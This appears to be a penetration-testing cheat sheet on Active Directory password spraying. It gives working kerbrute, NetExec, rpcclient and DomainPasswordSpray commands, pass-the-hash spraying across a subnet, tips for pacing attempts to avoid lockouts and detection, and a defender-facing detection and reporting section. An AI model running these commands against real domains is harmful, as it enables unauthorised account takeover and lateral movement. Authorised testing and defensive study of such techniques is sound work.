πŸ›‘οΈ Methodology Checklist

  • Check password policy lockout threshold first
  • Spray from Linux: kerbrute passwordspray -d [DOMAIN] --dc [DC_IP] users.txt [PASS]
  • Spray with NXC: nxc smb [DC_IP] -u users.txt -p [PASS] --continue-on-success
  • Spray from Windows: DomainPasswordSpray.ps1 -Password [PASS]
  • Wait full lockout window between spray rounds
  • Check which accounts succeeded: note for lateral movement
  • Document spray attempts and timing for report

🎯 Operational Context

Use when: Valid AD user list obtained β€” spray one password at a time across all accounts at safe intervals to avoid lockouts. Think Dumber First: nxc smb [DC] -u users.txt -p 'Password123!' --continue-on-success β€” one command, all users, continues collecting valid creds. Check lockout policy first. Spray rate: 1 password per (lockout_observation_window + 5 minutes). Skip when: Lockout threshold is 3 attempts β€” spray risk too high; pivot to targeted attack against specific high-value accounts.


⚑ Tactical Cheatsheet

CommandTactical Outcome
for u in $(cat users.txt);do rpcclient -U "$u%[PASS]" -c "getusername;quit" [DC_IP] | grep Authority; doneBash loop spray via rpcclient β€” Authority string = success
kerbrute passwordspray -d [DOMAIN] --dc [DC_IP] users.txt [PASS]Kerbrute password spray via Kerberos
sudo nxc smb [DC_IP] -u users.txt -p [PASS] | grep +CME domain spray β€” grep + for valid hits
sudo nxc smb [DC_IP] -u [USER] -p [PASS]Validate single credential against DC
sudo nxc smb --local-auth [SUBNET]/24 -u [USER] -H [NT_HASH] | grep +Spray local admin hash across subnet (Pass-the-Hash)
Import-Module .\DomainPasswordSpray.ps1Load DomainPasswordSpray on Windows
Invoke-DomainPasswordSpray -Password [PASS] -OutFile hits.txt -ErrorAction SilentlyContinueWindows spray β€” auto-generates user list from domain policy

πŸ”¬ Deep Dive & Workflow

Attack Flow

1. Enumerate password policy β†’ get lockout threshold
2. Build validated user list (kerbrute / nxc --users / enum4linux)
3. Check badpwdcount per user β†’ remove anyone near threshold
4. Spray 1 password per round β†’ wait lockout observation window β†’ repeat

Key rule: Stay at least 2 attempts below the lockout threshold per observation window. If threshold = 5, max 3 attempts per window.

Linux Spraying Methods

rpcclient bash loop β€” useful when CME/Kerbrute are blocked:

for u in $(cat valid_users.txt); do
  rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority
done

Success: Account Name: jsmith, Authority Name: INLANEFREIGHT No output = failed login (rpcclient does not print explicit failure).

Kerbrute β€” fastest, Kerberos-based, no failed logon Event IDs:

kerbrute passwordspray -d INLANEFREIGHT.LOCAL --dc 172.16.5.5 valid_users.txt Welcome1

CrackMapExec β€” most common; + marker indicates valid credentials:

sudo nxc smb 172.16.5.5 -u valid_users.txt -p Welcome1 | grep +
# (Pwn3d!) = local admin on that host

Local admin hash reuse β€” spray captured NT hash across entire subnet:

sudo nxc smb --local-auth 172.16.5.0/23 -u administrator -H [NT_HASH] | grep +

CRITICAL: --local-auth flag is mandatory. Without it, CME authenticates against the domain and can lock out the domain Administrator account.

Windows Spraying β€” DomainPasswordSpray

From a domain-joined compromised host:

Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_hits.txt -ErrorAction SilentlyContinue
  • Auto-generates user list from domain (do not supply -UserList β€” it bypasses lockout safety checks)
  • Excludes disabled accounts and near-lockout accounts automatically
  • Type Y to confirm after reviewing the threshold/target count output

On a non-domain-joined host, supply -UserList manually.

Detection Signatures

Event IDTriggerWhat Defenders See
4625Failed NTLM logonHigh volume from single source = spray
4771Kerberos pre-auth failedKerbrute / LDAP spray
4769Kerberos TGT requestedKerbrute user enum (not auth failure)

Post-Spray Priorities

When a hit lands on a high-privilege host:

  • SQL / Exchange servers β†’ privileged domain accounts more likely cached in memory
  • Check for credential variations: $desktop%@admin123 β†’ try $server%@admin123
  • Check username reuse across domains: ajones β†’ ajones_adm

πŸ› οΈ Troubleshooting & Edge Cases

ProblemCauseFix
Spray locks out accountsWrong lockout observation windowVerify policy: nxc smb [DC] -u [VALID_USER] -p [PASS] --pass-pol; observation window resets after window, not cumulative
nxc spray shows all STATUS_LOGON_FAILUREPassword too old or user lockedVerify at least one known-valid combo works; check DC connectivity
Valid creds found but can’t loginAccount restrictedSTATUS_ACCOUNT_RESTRICTION = valid password but restricted logon hours/workstations; document and try other accounts
Spray too slow against large user listnxc single-threaded SMBAdd -t 3 for 3 threads max (careful with lockout); or split user list into chunks
STATUS_PASSWORD_MUST_CHANGEAccount valid but expiredReset via LDAP if GenericWrite rights; or document for client β€” they must log in and change password

πŸ“ Reporting Trigger

Finding Title: Active Directory Password Spray Compromises Multiple Accounts Impact: Low-volume password spray exploiting common corporate passwords compromises multiple domain accounts without triggering lockout thresholds, providing initial AD authentication for further exploitation. Root Cause: Users selecting predictable passwords meeting minimum complexity (Password123!, Welcome2024). No detection of distributed failed authentication across many accounts. Recommendation: Mandate passphrase-based passwords (4+ words, 20+ chars). Deploy Azure AD Identity Protection or Defender for Identity smart lockout. Alert on failed authentication patterns across many accounts from single source. Implement MFA for all domain accounts.